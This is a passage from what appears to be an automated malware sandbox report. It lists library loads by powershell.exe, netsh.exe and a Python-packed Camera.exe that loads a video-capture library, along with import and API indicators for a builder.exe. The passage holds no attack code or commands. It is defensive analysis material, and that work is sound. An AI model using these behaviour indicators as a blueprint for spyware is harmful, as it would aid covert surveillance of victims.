api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002000) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00004936) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00004936) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00004936) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004936) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007588) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007588) "Camera.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00006940) "Camera.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006940) "Camera.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006940) "Camera.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\quartz.dll (UID: 00000000-00006940) "Camera.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00006940) "Camera.exe" called "LoadLibrary" with a parameter setupapi.dll (UID: 00000000-00006940) "Camera.exe" called "LoadLibrary" with a parameter msdmo.dll (UID: 00000000-00006940) "Camera.exe" called "LoadLibrary" with a parameter avicap32.dll (UID: 00000000-00006940)37:T622,Found GetProcAddress() and LoadLibraryA() in an import section (Source: python310.dll) Found GetProcAddress() and LoadLibraryA() in an import section (Source: libcrypto-1_1.dll) Found GetProcAddress() and LoadLibraryA() in an import section (Source: sqlite3.dll) Found GetProcAddress() and LoadLibraryA() in an import section (Source: libssl-1_1.dll) Found GetProcAddress() and LoadLibraryA() in an import section (Source: Camera.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: libffi-7.dll) Found GetProcAddress() and LoadLibraryA() in an import section (Source: unicodedata.pyd) Found GetProcAddress() and LoadLibraryA() in an import section (Source: _decimal.pyd) Found GetProcAddress() and LoadLibraryA() in an import section (Source: _lzma.pyd) Found GetProcAddress() and LoadLibraryA() in an import section (Source: _ssl.pyd) Found GetProcAddress() and LoadLibraryA() in an import section (Source: _ctypes.pyd) Found GetProcAddress() and LoadLibraryA() in an import section (Source: _sqlite3.pyd) Found GetProcAddress() and LoadLibraryA() in an import section (Source: _bz2.pyd) Found GetProcAddress() and LoadLibraryA() in an import section (Source: _socket.pyd) Found GetProcAddress() and LoadLibraryA() in an import section (Source: _hashlib.pyd) Found GetProcAddress() and LoadLibraryA() in an import section (Source: _queue.pyd) Found GetProcAddress() and LoadLibraryA() in an import section (Source: select.pyd) Found GetProcAddress() and LoadLibraryA() in an import section (Source: tinyaes.cp310-win_amd64.pyd)38:Tead7,Found reference to API (Indicator: "OpenProcessToken"; File: "builder.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "builder.exe") Found reference to API (Indicator: "ConvertSidToStringSidW"; File: "builder.exe") Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptorW"; File: "builder.exe") Found reference to API (Indicator: "SelectObject"; File: "builder.exe") Found reference to API (Indicator: "CreateFontIndirectW"; File: "builder.exe") Found reference to API (Indicator: "DeleteObject"; File: "builder.exe") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "builder.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "builder.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "builder.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "builder.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "builder.exe") Found reference to API (Indicator: "WriteFile"; File: "builder.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "builder.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "builder.exe") Found reference to API (Indicator: "DeleteFileW"; File: "builder.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "builder.exe") Found reference to API (Indicator: "GetEnvironmentVariableW"; File: "builder.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "builder.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "builder.exe") Found reference to API (Indicator: "SetFilePointerEx"; File: "builder.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "builder.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "builder.exe") Found reference to API (Indicator: "PeekNamedPipe"; File: "builder.exe") Found reference to API (Indicator: "GetStdHandle"; File: "builder.exe") Found reference to API (Indicator: "SetEndOfFile"; File: "builder.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "builder.exe") Found reference to API (Indicator: "GetModuleHandleExW"; File: "builder.exe") Found reference to API (Indicator: "HeapAlloc"; File: "builder.exe") Found reference to API (Indicator: "TlsAlloc"; File: "builder.exe") Found reference to API (Indicator: "FlsFree"; File: "builder.exe") Found reference to API (Indicator: "GetFileType"; File: "builder.exe") Found reference to API (Indicator: "GetTempPathW"; File: "builder.exe") Found reference to API (Indicator: "TerminateProcess"; File: "builder.exe") Found reference to API (Indicator: "GetOEMCP"; File: "builder.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "builder.exe") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "builder.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "builder.exe") Found reference to API (Indicator: "GetFullPathNameW"; File: "builder.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "builder.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "builder.exe") Found reference to API (Indicator: "SetLastError"; File: "builder.exe") Found reference to API (Indicator: "FlsGetValue"; File: "builder.exe") Found reference to API (Indicator: "CreateProcessW"; File: "builder.exe") Found reference to API (Indicator: "RaiseException"; File: "builder.exe") Found reference to API (Indicator: "GetCPInfo"; File: "builder.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "builder.exe") Found reference to API (Indicator: "RtlPcToFileHeader"; File: "builder.exe") Found reference to API (Indicator: "FindNextFileW"; File: "builder.exe") Found reference to API (Indicator: "EncodePointer"; File: "builder.exe") Found reference to API (Indicator: "GetFileAttributesExW"; File: "builder.exe") Found reference to API (Indicator: "InitializeSListHead"; File: "builder.exe") Found reference to API (Indicator: "TlsGetValue"; File: "builder.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "builder.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "builder.exe") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "builder.exe") Found reference to API (Indicator: "GetACP"; File: "builder.exe") Found reference to API (Indicator: "GetFileSizeEx"; File: "builder.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "builder.exe") Found reference to API (Indicator: "FormatMessageW"; File: "builder.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "builder.exe") Found reference to API (Indicator: "FlsAlloc"; File: "builder.exe") Found reference to API (Indicator: "FlsSetValue"; File: "builder.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "builder.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "builder.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "builder.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "builder.exe") Found reference to API (Indicator: "GetLastError"; File: "builder.exe") Found reference to API (Indicator: "IsValidCodePage"; File: "builder.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "builder.exe") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "builder.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "builder.exe") Found reference to API (Indicator: "Sleep"; File: "builder.exe") Found reference to API (Indicator: "LCMapStringW"; File: "builder.exe") Found reference to API (Indicator: "CloseHandle"; File: "builder.exe") Found reference to API (Indicator: "CreateFileW"; File: "builder.exe") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "builder.exe") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; File: "builder.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "builder.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "builder.exe") Found reference to API (Indicator: "MulDiv"; File: "builder.exe") Found reference to API (Indicator: "ReadFile"; File: "builder.exe") Found reference to API (Indicator: "HeapFree"; File: "builder.exe") Found reference to API (Indicator: "GetProcAddress"; File: "builder.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "builder.exe") Found reference to API (Indicator: "FindFirstFileExW"; File: "builder.exe") Found reference to API (Indicator: "LocalFree"; File: "builder.exe") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "builder.exe") Found reference to API (Indicator: "RtlCaptureContext"; File: "builder.exe") Found reference to API (Indicator: "TlsSetValue"; File: "builder.exe") Found reference to API (Indicator: "SetStdHandle"; File: "builder.exe") Found reference to API (Indicator: "GetDriveTypeW"; File: "builder.exe") Found reference to API (Indicator: "ExitProcess"; File: "builder.exe") Found reference to API (Indicator: "FreeLibrary"; File: "builder.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "builder.exe") Found reference to API (Indicator: "HeapSize"; File: "builder.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "builder.exe") Found reference to API (Indicator: "FindClose"; File: "builder.exe") Found reference to API (Indicator: "SetDllDirectoryW"; File: "builder.exe") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "builder.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "builder.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "builder.exe") Found reference to API (Indicator: "RemoveDirectoryW"; File: "builder.exe") Found reference to API (Indicator: "ReadConsoleW"; File: "builder.exe") Found reference to API (Indicator: "GetCommandLineA"; File: "builder.exe") Found reference to API (Indicator: "CompareStringW"; File: "builder.exe") Found reference to API (Indicator: "TlsFree"; File: "builder.exe") Found reference to API (Indicator: "MessageBoxW"; File: "builder.exe") Found reference to API (Indicator: "CreateWindowExW"; File: "builder.exe") Found reference to API (Indicator: "GetClientRect"; File: 